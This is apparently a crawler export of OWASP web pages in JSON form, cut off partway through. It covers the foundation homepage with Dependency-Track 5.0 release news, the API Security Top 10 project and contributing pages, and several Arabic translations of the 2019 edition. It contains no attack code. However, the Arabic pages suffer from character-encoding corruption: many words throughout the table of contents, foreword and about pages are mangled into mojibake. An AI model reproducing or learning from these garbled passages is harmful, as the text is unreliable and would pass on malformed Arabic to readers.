{"url": "https://owasp.org/", "titulek": "OWASP Foundation - The Open Source Foundation for Application Security", "h1": "Explore the World of", "popis": "The Open Web Application Security Project® (OWASP) is a nonprofit foundation that works to improve the security of software through open-source tools, expert education, and collaborative innovation.", "klicova_slova": "OWASP,cybersecurity,web application security,software security,security tools,open source", "kanonicka": "", "jazyk": "en", "robots_meta": "", "og": {"og:title": "OWASP Foundation - The Open Source Foundation for Application Security", "og:description": "The Open Web Application Security Project® (OWASP) is a nonprofit foundation that works to improve the security of software through open-source tools, expert education, and collaborative innovation.", "og:url": "https://owasp.org", "og:site_name": "OWASP Foundation", "og:type": "website"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Explore the World of"}, {"uroven": 1, "text": "Cyber"}, {"uroven": 1, "text": "Security"}, {"uroven": 2, "text": "OWASP"}, {"uroven": 2, "text": "25th Anniversary Virtual Conference"}, {"uroven": 2, "text": "Latest News"}, {"uroven": 3, "text": "DependencyTrack 5.0 released!"}, {"uroven": 2, "text": "What's on Deck?"}, {"uroven": 3, "text": "Juice Shop"}, {"uroven": 3, "text": "Nettacker"}, {"uroven": 3, "text": "Offensive Web Testing Framework"}, {"uroven": 3, "text": "Bug Logging Tool (BLT)"}, {"uroven": 3, "text": "Nest"}, {"uroven": 3, "text": "PyGoat"}, {"uroven": 3, "text": "OpenCRE"}, {"uroven": 2, "text": "Upcoming Events"}, {"uroven": 2, "text": "Join the OWASP Community"}], "markdown": "# Explore the World of\n\n# Cyber\n\n# Security\n\nEmpowering a global community to build secure software through open-source tools,\nexpert education, and collaborative innovation — free for everyone, everywhere.\n\n22\n\nSEP\n\n2026\n\n## OWASP\n\n## 25th Anniversary Virtual Conference\n\nGlobal\n\nJoin us as we celebrate OWASP's 25th Anniversary with a free virtual conference dedicated to the global community that makes our mission possible. This milestone event features a dynamic lineup of insightful talks and inspiring highlights from OWASP chapters.\n\nFree!\n\n## Latest News\n\nStay updated with OWASP announcements, events, and community highlights.\n\nLauren Thomas\n\n### DependencyTrack 5.0 released!\n\nOWASP Dependency-Track, the open source platform that organizations use to identify and reduce risk in the software supply chain, today announced the general availability of version 5.0. Developed under the codename Hyades, v5 is the most extensive redesign since the platform’s inception. It rebuilds how Dependency-Track scales, survives failure, and reasons about risk, while keeping the workflows teams already rely on.\n\nHorizontal scaling and active/active high availability. Stateless API server instances coordinate through PostgreSQL alone, with no message broker and no peer to peer networking, so a cluster can span availability zones and scale up or down without reconfiguration.\n\nProcessing that survives crashes. An embedded durable execution engine resumes bill of materials processing, vulnerability analysis, and notification delivery from the exact step they reached, and retries failed steps automatically with backoff instead of waiting for someone to trigger them again.\n\nSoftware supply chain integrity verification. Dependency-Track now flags components whose published hashes do not match what the upstream package registry served, catching typosquatting and registry side tampering, a class of attack that v4 left to tools further down the pipeline.\n\nSmarter, expression based policies. A new policy engine built on Common Expression Language (CEL) powers component policies, vulnerability policies that can automatically audit or suppress findings before they reach analysts, and notification filters that can match on any field of an event, such as firing only at or above a chosen severity.\n\nOne database, fewer failure modes. v5 standardizes on PostgreSQL and moves search, caching, and metrics into the database. The local search index disappears, along with the index corruption and disk space failures that came with it, and metrics become a proper time series with bounded retention.\n\nBuilt for operations. A dedicated management endpoint exposes Prometheus metrics and Kubernetes style liveness and readiness probes on their own port, integration secrets are centralized behind a pluggable provider for easier rotation and audit, and pluggable file storage supports shared volumes or S3 compatible object storage.\n\nGovernance and data lifecycle. Portfolio access control graduates out of beta with bounded overhead at scale, and configurable retention keeps inactive project versions and time series metrics from growing without bound.\n\n[Continue Reading](/news)\n\nGSoC 2026\n\n## What's on Deck?\n\nContributors will get hands-on experience improving and expanding some of OWASP's most vital tools:\n\n[Juice ShopA globally-used, intentionally insecure web app for security training.](/projects/juice-shop)\n\n[NettackerA fast, automated network scanner built for vulnerability detection.](/projects/nettacker)\n\n[Offensive Web Testing FrameworkA smart framework for streamlined penetration testing.](/projects/owtf)\n\n[Bug Logging Tool (BLT)A next-gen bug tracker focused on gamification to incentivize bug and security reporting.](/projects/blt)\n\n[NestCore infrastructure to power and enable the OWASP projects and contributors ecosystem.](/projects/nest)\n\n[PyGoatA Python-based sandbox for learning and exposing security flaws in modern stacks.](/projects/pygoat)\n\n[OpenCREA collaborative cybersecurity knowledge base & reference system.](/projects/opencre)\n\n## Upcoming Events\n\nStay connected with the global AppSec community through OWASP's upcoming conferences, chapter meetups, and training sessions.\n\n[See All Events](/events)\n\n## Join the OWASP Community\n\nConnect with developers and security professionals worldwide. Contribute to open-source projects building the future of application security.", "znaku_textu": 4360, "slov": 597, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:23", "sha256": "d72161e61c1e4a6601a38f442ddc2e6ace7bed6ef7187d6ee1b07d0847c512d7", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/event/176564/register/", "https://owasp.glueup.com/event/owasp-25th-anniversary-virtual-conference-176564/", "https://owasp.glueup.com/organization/6727/memberships", "https://cybersecgames.com/pages/owasp-merchandise", "https://www.linkedin.com/company/owasp/", "https://github.com/OWASP", "https://twitter.com/owasp", "https://infosec.exchange/@owasp", "https://bsky.app/profile/owasp.org", "https://www.youtube.com/@OWASPGlobal"]} {"url": "https://owasp.org/API-Security/", "titulek": "OWASP API Security Top 10 - OWASP API Security Top 10", "h1": "OWASP API Security Top 10", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Project Leaders"}, {"uroven": 2, "text": "Licensing"}], "markdown": "# OWASP API Security Top 10\n\nThis project is designed to address the ever-increasing number of organizations\nthat are deploying potentially sensitive APIs as part of their software\nofferings. These APIs are used for internal tasks and to interface with third\nparties. Unfortunately, many APIs do not undergo the rigorous security testing\nthat would help make them secure from an attack.\n\nThe OWASP API Security Project seeks to provide value to software developers and\nsecurity assessors by underscoring the potential risks in insecure APIs, and\nillustrating how these risks may be mitigated. In order to facilitate this goal,\nthe OWASP API Security Project will create and maintain a Top 10 API Security\nRisks document, as well as a documentation portal for best practices when\ncreating or assessing APIs.\n\n## Description\n\nWhile working as developers or information security consultants, many people\nhave encountered APIs as part of a project. While there are some resources to\nhelp create and evaluate these projects (such as the OWASP REST Security Cheat\nSheet), there has not be a comprehensive security project designed to assist\nbuilders, breakers, and defenders in the community.\n\nThis project aims to:\n\n- Create the OWASP Top Ten API Security Risks document, which can easily\n underscore the most common risks in the area.\n- Create a documentation portal for developers to build APIs in a secure manner.\n- Work closely with the security community to maintain living documents that\n evolve with security trends.\n\n## Project Leaders\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n- [Paulo Silva](/cdn-cgi/l/email-protection#9aeafbeff6f5b4e9f3f6ecfbdaf5edfbe9eab4f5e8fd)\n\n## Licensing\n\n**The OWASP API Security Project documents are free to use!**\n\nThe OWASP API Security Project is licensed under the [Creative Commons\nAttribution-ShareAlike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/), so you can copy, distribute, and\ntransmit the work. You can also adapt it, and use it commercially, as long as\nyou attribute the work. If you alter, transform, or build upon this work, you\nmay distribute the resulting work only under the same or similar license to this\none.", "znaku_textu": 2233, "slov": 325, "odkazu": 59, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:24", "sha256": "4b8d0232e9bd423f4eb2c987c3eea3e624accfd116387a66820a6f49bd3726b9", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/User:ErezYalon", "https://www.owasp.org/index.php/User:Inon", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/", "https://twitter.com/APItop10"]} {"url": "https://owasp.org/API-Security/CONTRIBUTING/", "titulek": "How-to Contribute - OWASP API Security Top 10", "h1": "How to Contribute", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/CONTRIBUTING/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "How to Contribute"}, {"uroven": 2, "text": "Branching Model"}, {"uroven": 2, "text": "Contributing"}, {"uroven": 3, "text": "Rendering the Web Site Locally"}], "markdown": "# How to Contribute\n\nWhen contributing to this repository, please first discuss the change you wish\nto make via submitting an issue with the owners of this repository before making\na change. Fixing typos or rephrasing for better understanding DO NOT require\ndiscussion.\n\n## Branching Model\n\nThis repository holds two main branches with an infinite lifetime:\n\n- `master` is the default branch which always reflects the latest release.\n- `develop` is the main branch reflecting the latest delivered changes for the\n next release. When the `develop` branch reaches a stable point and is ready to\n be released, then all changes should be merged back into `master` .\n\nA variety of supporting branches are used to aid parallel development. These\nbranches have a limited lifespan, since they will be removed eventually.\n\n## Contributing\n\nContributions to this repository are welcome. For ease of managing, please\nfollow the steps below:\n\n1. Fork this repository to your account.\n2. Clone your copy of this repository, locally. `git clone https://github.com/YOU/API-Security.git`\n3. Create a new branch based on `develop` (e.g., `fix/foreword-section`). `git checkout develop && git checkout -b fix/foreword-section`\n4. Apply your changes. Please, always follow our style conventions. Although there's an [`.editorconfig` file](https://github.com/OWASP/API-Security/blob/master/.editorconfig) on repository's root, your\neditor may not support it. To learn more about [EditorConfig](https://editorconfig.org/) and text\neditors/IDEs support, check the website: https://editorconfig.org/.\nYou can preview your changes, rendering the web site locally.\n5. Commit your changes.\n 1. Check modified files and add only required ones (e.g., build artifacts\n SHOULD NOT be tracked).\n 2. The first line of the commit message should provide a brief description\n of your changes. You can go into more details on the optional commit\n message body.\n6. Push changes to your public repository. `git push origin fix/foreword-section`\n7. Open a Pull Request from your `fix/foreword-section` to the upstream\n repository `develop` branch.\n\n### Rendering the Web Site Locally\n\nThe web site is built using [Material for MkDocs](https://squidfunk.github.io/mkdocs-material/) and several plugin.\nAlthough you can manually install everything, we've bundled everything into a\nDocker image that you can use to render the web site locally:\n\n```\ndocker compose up\n```", "znaku_textu": 2380, "slov": 350, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:35", "sha256": "f4fdf71b1ce340d917ffef228afac5303cb7c3fce5a1444353f5f9bdfe7a3dd0", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/blob/master/.editorconfig", "https://editorconfig.org/", "https://squidfunk.github.io/mkdocs-material/", "https://twitter.com/APItop10"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x00-header/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nأهم ؚشع؊ مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API)\n\n19 مايو 2019\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | هذا العمل يخضع لترخيص [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 325, "slov": 36, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:54", "sha256": "2187d38bca99ba9507c68fe276be6fa886536f90f88df09a0c3b0588f4b7eb26", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x00-notice/", "titulek": "تنوية - OWASP API Security Top 10", "h1": "تنوية", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x00-notice/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "تنوية"}], "markdown": "# تنوية\n\nهذه هي النسخة النصية من مستند OWASP API Security Top 10 و يتم استخدام النسخة القابلة للتوزيع على هيئة ملف PDF\n\nللمساهمة في هذا المشروع من تعليقات او تصحيح للمفاهيم او الترجمة يجب ان يتم هنا في مشروع GitHub وللحصول على المزيد من التفاصيل قم بزيارة قسم المشاركة.\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 477, "slov": 66, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:14", "sha256": "f0eeb1b06d4d0479b44a79e77434a3ad288f50fa33a75fdb132c5ba9a166e76b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x00-toc/", "titulek": "جدول المحتويات - OWASP API Security Top 10", "h1": "جدول المحتويات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x00-toc/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "جدول المحتويات"}], "markdown": "# جدول المحتويات\n\n- [محتوى الوثيقة](./)\n- [عن منظمة أواسب](../0x01-about-owasp/)\n- [تمهيد](../0x02-foreword/)\n- [مقدمة](../0x03-introduction/)\n- [عن النسخة](../0x04-release-notes/)\n- [المخاطر الأمنية على واجهة التطبيقات API](../0x10-api-security-risks/)\n- [أهم ؚشع؊ مخاطر أمنية لواجهة برمجة التطبيقات API](../0x11-t10/)\n- [API1:2019 خلل التفويض والصلاحيات](../0xa1-broken-object-level-authorization/)\n- [API2:2019 خلل في صلاحيات المستخدŮ](../0xa2-broken-user-authentication/)\n- [API3:2019 خلل في استؚعا؜ البيانات](../0xa3-excessive-data-exposure/)\n- [API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 خلل في مستوى الصلاحيات والتفويض](../0xa5-broken-function-level-authorization/)\n- [API6:2019 خلل في التعين أو التعديل](../0xa6-mass-assignment/)\n- [API7:2019 الإعداد الخاطئ](../0xa7-security-misconfiguration/)\n- [API8:2019 الحقن](../0xa8-injection/)\n- [API9:2019 خلل في ؼداع؊ الأصول](../0xa9-improper-assets-management/)\n- [API10:2019 خلل في طريقة تسجيل الأحداث والمراقبة](../0xaa-insufficient-logging-monitoring/)\n- [ماهو التالي للمطورين](../0xb0-next-devs/)\n- [أفضل الممارسات للتطوير بشكل آمن](../0xb1-next-devsecops/)\n- [المنهجية والبيانات](../0xd0-about-data/)\n- [الإقرار](../0xd1-acknowledgments/)", "znaku_textu": 1639, "slov": 158, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:26", "sha256": "92a75bcbada0c66a8adce4d77ebaf859d1127df698243ed09cb608002bb007db", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x01-about-owasp/", "titulek": "عن منظمة أواسب - OWASP API Security Top 10", "h1": "عن منظمة أواسب", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x01-about-owasp/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "عن منظمة أواسب"}, {"uroven": 2, "text": "حقوق النشر والتراخيص"}], "markdown": "# عن منظمة أواسب\n\nهو مشروع/مجتمع لأمن تطبيقات الويب مفتوح المصدر يهدف إلى تمكين المؤسسات من تطوير أو شعاإ أو صيانة تطبيقاتها بشكل آمن و موثوق.\n\nفي مجتمع OWASP ست؏د:\n\n- معايير و أدوات التطبيقات الآمنة\n- كتب ومراجع كاملة عن ا؎تباع تطبيقات الويب و التطوير الآمن ومراجعة الشفرة المصدرية\n- [العروض التقديمية](https://www.youtube.com/user/OWASPGLOBAL)\n- [ملخصات](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) في العديد من المواضيع\n- مكتبة المعايير الأمنية والضوابط\n- [الفروع المحلية حول العالŮ](https://www.owasp.org/index.php/OWASP_Chapter)\n- البحوث\n- [المؤتمرات حول العالŮ](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference)\n- [القائمة البريدية](https://lists.owasp.org/mailman/listinfo)\n\nتؚعف على المزيد: https://www.owasp.org\n\nإن جميع الأدوات والوثائق والمنتديات والمنظمات الفرعية لمنظمة (أواسب) هي مجانية ومفتوحة لجميع المهتمين بتطوير أمن التطبيقات. نقدم أمن التطبيقات كمشكلة تتضمن العامل البشري، والإجراءات، والتقنية؛ وذلك لأن أفضل الأساليب فعالية في أمن التطبيقات تتطلب تحسين جميع هذه المجالات الثلاثة.\n\n(أواسب) هي منظمة فريدة من نوعها. حريتنا من الضغوط التجارية تسمح لنا بتقديم معلومات عن أمن التطبيقات غير متحيزة وعملية وفعالة من ناحية التكلفة. إن (أواسب) لا تتبؚ أي شعك؊ تجارية، مع أننا ندعم الاستخدام الواعي للتقنيات الأمنية التجارية. على غعاع الكثير من مشاريع البرمجيات مفتوحة المصدر، فإن (أواسب) تقدم أنواع كثيرة من المواد بشكل تعاوني ومفتوح.\n\nمؤسسة (أواسب) هي منشأة غير ربحية تضمن النجاح المستمر للمشروع. تقريبًا، جميع المنتسبين إلى (أواسب) هم من المتطوعين بمن فيهم أؚ؜اإ المجلس، واللجان العالمية، وقادة المنظمات الفرعية، وقادة المشاريع وأعضائها. نحن ندعم الأبحاث الأمنية الإبداعية بالمنح وتوفير البنية التحتية.\n\nانضم إلينا!\n\n## حقوق النشر والتراخيص\n\nحقوق الطبع محفوظة لمنظمة أواسب 2003 - 2019 تم نشر هذه الوثيقة ŘŞŘ­ŘŞ ع؎ؾ؊ المشاع الإبداعي Creative Common ؎واؾ النسبة والترخيص بالمثل الإصدار .4.0 لأي ؼؚاد؊ استخدام أو توزيع، عليك بيان وتوضيح شعوء وأحكام الرخصة للطرف الآخر.", "znaku_textu": 3158, "slov": 346, "odkazu": 159, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:35", "sha256": "b87aff36cc8187fd9abab4bdc3e59f4f2ad8635ed139b2d4658b425b8b4a2614", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x02-foreword/", "titulek": "مقدمة - OWASP API Security Top 10", "h1": "مقدمة", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x02-foreword/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مقدمة"}], "markdown": "# مقدمة\n\nتؚتبع واجهة برمجة التطبيقات (API) ŘŁŘ­ŘŻ العناصر الأساسية للابتكار في عالم التطبيقات، حيث نجدها في التطبيقات البنكية وت؏اع؊ التجزئة والنقل وصولاً إلى إنترنت الأشياء والمركبات ذاتية القيادة والمدن الذكية. كما تؚد واجهات برمجة التطبيقات (API) جزءًا مهمًا من التطبيقات وخصوصًا الخاصة بالهواتف المحمولة الحديثة والبرمجيات كخدمة SaaS وتطبيقات الويب، بالإضافة لاستخدامها في تطبيقات المستخدمين والشركاء والتطبيقات الداخلية.\n\nولأن طبيعة عمل واجهة برمجة التطبيقات (API) يؤدي لاستعراض بؚ؜ المعلومات الحساسة أو الشخصية، نجد أنها تؚتبع هدف أساسي للمهاجمين وبشكل متزايد. لذلك عدم تأمين البيئة الخاصة بواجهة برمجة التطبيقات (API) سيؤدي إلى الحد من التطوير السريع للبرمجيات.\n\nعلى الرغم من و؏ود مخاطر متعددة على تطبيقات الويب والتي تم نشرها في وثيقة مستقلة بعنوان أعلى ؚشع مخاطر (OWASP TOP 10) تستهدف لتطبيقات الويب، وبالإضافة لذلك فإن المخاطر التي تستهدف واجهة برمجة تطبيقات الويب (API) لا تقل أهمية عنها بل يستوجب علينا التركيز عليها لإيجاد حلول استراتيجية مستدامة من شأنها تخفيف المخاطر ونقاط الضعف المرتبطة مع واجهة برمجة التطبيقات.\n\nؼذا كنت معتادًا على مشروع OWASP Top 10، فستلاحظ أوجه التشابه بين كلا المستندين: إنهما مخصصان للقراء والاعتماد. أما ؼذا كنت جديدًا في سلسلة OWASP Top 10، فقد يكون من الأفضل لك قراءة أقسام مخاطر الأما والمنهجية والبيانات الخاصة بواجهة برمجة التطبيقات (API) قبل الانتقال إلى قائمة المخاطر 10 هنا.\n\nيمكنك المساهمة في OWASP API Security Top 10 بأسئلتك وتعليقاتك وأفكاعك في مستودع مشروع GitHub:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nتستطيع الوصول إلى الوثيقة OWASP API Security Top 10 من هنا: \n* https://www.owasp.org/index.php/OWASP_API_Security_Project\n* https://github.com/OWASP/API-Security\n\nنود أن نشكر جميع المساهمين الذين جعلوا هذا المشروع متوفر لكم على جهودهم ومساهماتهم، حيث تم سردها جميعًا في [قسم الشكر والتقدير](../0xd1-acknowledgments/). شكعا لكم!", "znaku_textu": 3070, "slov": 337, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:44", "sha256": "4cbf32f6fae5cbc3d876b06cd326574f082bf7236abf0febbc322156bd5014f3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x03-introduction/", "titulek": "مدخل - OWASP API Security Top 10", "h1": "مدخل", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x03-introduction/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مدخل"}, {"uroven": 2, "text": "مرحبًا بك في أهم ؚشع؊ مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API)"}], "markdown": "# مدخل\n\n## مرحبًا بك في أهم ؚشع؊ مخاطر أمنية تستهدف واجهة برمجة التطبيقات (API)\n\nمرحبًا بك في الإصدار الأول من OWASP API Security Top 10. ؼذا كنت على دراية بسلسلة OWASP Top 10، ستلاحظ أوجه التشابه بينهم: حيث نوصي بقراءة OWASP Top 10 قبل الشروع في قراءة هذا المحتوى.\n\nتلعب واجهات برمجة التطبيقات (API) دورًا مهمًا جدًا في هندسة التطبيقات الحديثة. وعلى الرغم من أن عفؚ الوعي لأمني في البرمجة الآمنة والابتكار لهما ؎ءوات مهمة ومختلفة، فمن المهم التركيز على نقاط الضعف الأمنية الشائعة لواجهة برمجة التطبيقات (API).\n\nالهدف الأساسي من وثيقة أهم ؚشع؊ مخاطر تستهدف واجهات برمجة التطبيقات API، هو زيادة الوعي للمشاركين في تطوير صيانة واجهة برمجة التطبيقات API كالمطورين، المصممين، مهندسي البنية التحتية، المدراء و المؤسسات.\n\nفي [قسم المنهجية والبيانات](../0xd0-about-data/)، يمكنك قراءة المزيد حول كيفية إنشاء الإصدار الأول وما هو المتوقع من الإصدارات المستقبلية، حيث نهدف إلى تمكين صناعة الأمن في برمجة واجهة التطبيقات API، كما نشجع الجميع على المساهمة في ءعح الأسئلة والتعليقات والأفكار من خلال [مخزننا على GitHub](https://github.com/OWASP/API-Security) أو [القائمة البريدية](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 1885, "slov": 224, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:53", "sha256": "0da8389ce821d01b6fc5e35aec7429dbb53d924b5b5a3da9972c4950d3aac98a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x04-release-notes/", "titulek": "ملاحظات عن الإصدار - OWASP API Security Top 10", "h1": "ملاحظات عن الإصدار", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x04-release-notes/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ملاحظات عن الإصدار"}], "markdown": "# ملاحظات عن الإصدار\n\nهذا هو الإصدار الأول من OWASP API Security Top 10، والذي نخطط لتحديثه بشكل دوري كل ثلاث أو أعبؚ سنوات.\n\nعلى ؚكس هذا الإصدار، في الإصدارات المستقبلية سنقوم بدؚو؊ عامة للمشاركة في هذا التحديث لتمكين صناعة تطبيقات منة بجهود مشتركة. في قسم [المنهجية والبيانات](../0xd0-about-data/) ست؏د المزيد من التفاصيل حول طريقة كتاب؊ هذا الإصدار. لمزيد من لتفاصيل حول مخاطر الأمان، يرجى الرجوع إلى [قسم مخاطر أمان واجهة برمجة التطبيقات (API)](../0x10-api-security-risks/).\n\nمن المهم أن ندرك بأنه على مدى السنوات القليلة الماضية قد تغيرت بنية التطبيقات بشكل كبير. حيث تلعب واجهات رمجة التطبيقات (API) في الوقت الحالي دورًا مهمًا للغاية في هذه البنية الجديدة للخدمات المصغرة وتطبيقات لدخول ذات الصفحة الواحدة (SPA) وتطبيقات الأجهزة المحمولة وإنترنت الأشياء وما إلى ذلك.\n\nإن بناء OWASP API Security Top 10 يحتاج إلى جهد كبير بهدف خلق الوعي حول مشكلات أمان API الحديثة. نكرر [لشكر لجميع المتطوعين في إنشاء هذه الوثيقة](../0xd1-acknowledgments/) والذين تم إدراجهم في قسم الشكر والتقدير.\n\nشكرًا لك!", "znaku_textu": 1676, "slov": 196, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:02", "sha256": "403e3ca1f47141959b6b133c81ddca932ac5aa63929c41d6dbf6dbfd4062db4d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x10-api-security-risks/", "titulek": "مخاطر برمجة واجهة التطبيقات - OWASP API Security Top 10", "h1": "مخاطر برمجة واجهة التطبيقات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x10-api-security-risks/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مخاطر برمجة واجهة التطبيقات"}, {"uroven": 2, "text": "المراجع"}, {"uroven": 3, "text": "أواسب"}, {"uroven": 3, "text": "الروابط الخارجية"}], "markdown": "# مخاطر برمجة واجهة التطبيقات\n\n- تم است؎دا٠[نموذج تقييم المخاطر الخاص بـ OWASP](../0x03-introduction/) وذلك بهدف تحليل المخاطر.\n\nيلخص الجدول أدناه المصطلحات المرتبطة بدع؏؊ المخاطر.\n\n| عوامل التهديد | الاستغلال | نقاط الضعف الأمنية | اكتشاف الضعف الأمني | التأثيرات التقنية | التأثيرات على العمل |\n| --- | --- | --- | --- | --- | --- |\n| ؎ؾا،ؾ API | بسيط 3 | منتشرة 3 | بسيط 3 | حع؏ 3 | تحديد الأعمال |\n| ؎ؾا،ؾ API | متوسط 2 | عام 2 | متوسط 